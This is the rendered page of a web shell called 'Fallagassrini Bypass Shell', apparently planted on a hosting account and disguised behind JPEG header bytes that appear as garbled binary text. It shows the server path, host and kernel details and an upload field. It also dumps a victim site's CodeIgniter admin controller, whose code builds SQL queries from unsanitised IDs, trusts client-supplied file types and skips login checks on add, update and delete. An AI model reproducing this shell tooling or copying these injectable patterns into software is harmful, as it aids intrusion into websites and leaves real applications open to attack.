JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/jpewexports/public_html/application/controllers/admin/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : /home/jpewexports/public_html/application/controllers/admin/Sports.php

<?php

class Sports extends CI_Controller {

	function __construct()
	{
	    
		parent::__construct();	
		$this->load->helper(array('url','form'));
		$this->load->helper("file");
		$this->load->database();	
	}
	
	function index()
	{
	        if(!isset($_SESSION['admin_id']))
			{
			       echo "<script type='text/javascript'>window.location.href='".base_url()."admin/login'</script>";
			}
			 	 
			 $this->load->view('admin/sports');
	}
	function add_desc()
	{
	       $id=$this->input->post('sports');
		   $name=mysql_real_escape_string($this->input->post('name'));
	       $con=mysql_real_escape_string($this->input->post('description'));
			$this->db->query("insert into `tbl_cars`(cat_id,name,content)values('".$id."','".$name."','$con')");
			 $id=mysql_insert_id();
		 $content = '';
		          if ($_FILES["file"]["name"] == "") 
		          {
	 		           $content .= "You must choose a file to upload!";
		           } 
		          elseif ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/x-png")) && ($_FILES["file"]["size"] < 20000000000000)) 
		          {

					  if ($_FILES["file"]["error"] > 0) 
					  {
						 $content .= "Return Code: " . $_FILES["file"]["error"] . "<br />";
	
					  } 
			          else 
			          {

							 $content .= "Upload: " . $_FILES["file"]["name"] . "<br />";
							$content .= "Type: " . $_FILES["file"]["type"] . "<br />";
							$content .= "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
							$content .= "<br/><br/>";
							$image = str_replace(' ', '_', $_FILES["file"]["name"]);
							 $date=date('d-M-Y');
							 $rn=rand(1000,9999);
						     $rand=$date."_".$rn."_".$image;
								if (file_exists($rand)) 
		 					{
				
									 $content .= $_FILES["file"]["name"] . " already exists. Upload cancelled!";
				
								} 
								else 
								{
				
									$uploadedfile = $_FILES["file"]["tmp_name"];
									$size = getimagesize($uploadedfile);
									$type = $size['mime'];
									$width = $size[0];
									$height = $size[1];
				        			 $newwidth = 370;
			                         $newwidth1 = 550;
				        		   $newheight = ($height / $width) * 370;
						    	   $newheight1 = ($height / $width) * 550;
							
									$tmp = imagecreatetruecolor($newwidth, $newheight);
									$tmp1 = imagecreatetruecolor($newwidth1, $newheight1);
									
			
									$filename = "uploads/medium/" . $rand;
									$filename1 = "uploads/large/" . $rand;
									
								  $this->db->query("update `tbl_cars` set image='".$rand."' where id='".$id."'");
			                           if ($size[2] == IMAGETYPE_GIF) 
									   {

											$src = imagecreatefromgif($uploadedfile);
							
											imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
											imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
										
											imagegif($tmp, $filename, 100);
											imagegif($tmp1, $filename1, 100);
									   } 
										elseif ($size[2] == IMAGETYPE_JPEG)
										{

												$src = imagecreatefromjpeg($uploadedfile);
								
												imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
												imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
											
												imagejpeg($tmp, $filename, 100);
												imagejpeg($tmp1, $filename1, 100);
										
			                           }
									   elseif ($size[2] == IMAGETYPE_PNG)
									   {
												$src = imagecreatefrompng($uploadedfile);
								
												imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
												imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
											
												imagepng($tmp, $filename, 9);
												imagepng($tmp1, $filename1, 9);
										
			                           }

			
								imagedestroy($src);
					
								imagedestroy($tmp);

		}

	}

} else { $content .= "Invalid file";
}
	     $_SESSION['update']="Added Successfully";
		echo "<script type='text/javascript'>window.location.href='".base_url()."admin/sports'</script>";
	}
	
	function sports_update($id)
	{
	 $ids=$this->input->post('sports');	
	 $con=mysql_real_escape_string($this->input->post('description'));
	  $name=mysql_real_escape_string($this->input->post('name'));
		 $content = '';
		          if ($_FILES["file"]["name"] == "") 
		          {
	 		           $content .= "You must choose a file to upload!";
		           } 
		          elseif ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/x-png")) && ($_FILES["file"]["size"] < 20000000000000)) 
		          {

					  if ($_FILES["file"]["error"] > 0) 
					  {
						 $content .= "Return Code: " . $_FILES["file"]["error"] . "<br />";
	
					  } 
			          else 
			          {

							 $content .= "Upload: " . $_FILES["file"]["name"] . "<br />";
							$content .= "Type: " . $_FILES["file"]["type"] . "<br />";
							$content .= "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
							$content .= "<br/><br/>";
							$image = str_replace(' ', '_', $_FILES["file"]["name"]);
							 $date=date('d-M-Y');
							 $rn=rand(1000,9999);
						  $rand=$date."_".$rn."_".$image;
		
								if (file_exists($rand)) 
								{
				
									 $content .= $_FILES["file"]["name"] . " already exists. Upload cancelled!";
				
								} 
								else 
								{
				
									$uploadedfile = $_FILES["file"]["tmp_name"];
				
							
				
									$size = getimagesize($uploadedfile);
						
									$type = $size['mime'];
						
									$width = $size[0];
						
									$height = $size[1];
						
									 $newwidth = 370;
			                         $newwidth1 = 550;
				                     

								   $newheight = ($height / $width) * 370;
								   $newheight1 = ($height / $width) * 550;
								   

									$tmp = imagecreatetruecolor($newwidth, $newheight);
									$tmp1 = imagecreatetruecolor($newwidth1, $newheight1);
									
			
									$filename = "uploads/medium/" . $rand;
									$filename1 = "uploads/large/" . $rand;
									$s_del=$this->db->query("select * from tbl_cars where id='".$id."'");
									$r_del=$s_del->row_array();
									$main=$r_del['image'];
									$source2="uploads/large/".$main;
									$dest2="uploads/medium/".$main;
				      				delete_files($source2);
									unlink($source2);
									delete_files($dest2);
									unlink($dest2);
				
								  $this->db->query("update `tbl_cars` set image='".$rand."' where id='".$id."'");
			                           if ($size[2] == IMAGETYPE_GIF) 
									   {

											$src = imagecreatefromgif($uploadedfile);
							
											imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
											imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
										
											imagegif($tmp, $filename, 100);
											imagegif($tmp1, $filename1, 100);
											
			

			                            } 
										elseif ($size[2] == IMAGETYPE_JPEG)
										{

												$src = imagecreatefromjpeg($uploadedfile);
								
												imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
												imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
											
												
								
												imagejpeg($tmp, $filename, 100);
												imagejpeg($tmp1, $filename1, 100);
												
															

			                           }
									   elseif ($size[2] == IMAGETYPE_PNG)
									   {
												$src = imagecreatefrompng($uploadedfile);
								
												imagecopyresampled($tmp, $src, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
												imagecopyresampled($tmp1, $src, 0, 0, 0, 0, $newwidth1, $newheight1, $width, $height);
												
								
												imagepng($tmp, $filename, 9);
												imagepng($tmp1, $filename1, 9);
												

			                           }

			
								imagedestroy($src);
					
								imagedestroy($tmp);

		}

	}

} else { $content .= "Invalid file";
}
		
													
			
		$this->db->query("update `tbl_cars` set cat_id='".$ids."', content='$con', name='".$name."' where id='$id'");
	     $_SESSION['update']="Updated Successfully";
		echo "<script type='text/javascript'>window.location.href='".base_url()."admin/sports'</script>";
	}
	
	

function editsports($id)
{
		        if(!isset($_SESSION['admin_id']))
			{
			       echo "<script type='text/javascript'>window.location.href='".base_url()."admin/login'</script>";
			}
			 	 $data['id']=$id;
			 $this->load->view('admin/edit_sports',$data);

}

function delete($id)
{
    $s_del=$this->db->query("select * from tbl_cars where id='".$id."'");
									$r_del=$s_del->row_array();
									$main=$r_del['image'];
									$source2="uploads/large/".$main;
									$dest2="uploads/medium/".$main;
				      				delete_files($source2);
									unlink($source2);
									delete_files($dest2);
									unlink($dest2);
	$this->db->query("delete from tbl_cars where id='".$id."'");
	$_SESSION['delete']="Car detail has been deleted successfully";								
	echo "<script type='text/javascript'>window.location.href='".base_url()."admin/sports'</script>";
								
}

}

/* End of file settings.php */
/* Location: ./system/application/controllers/settings.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net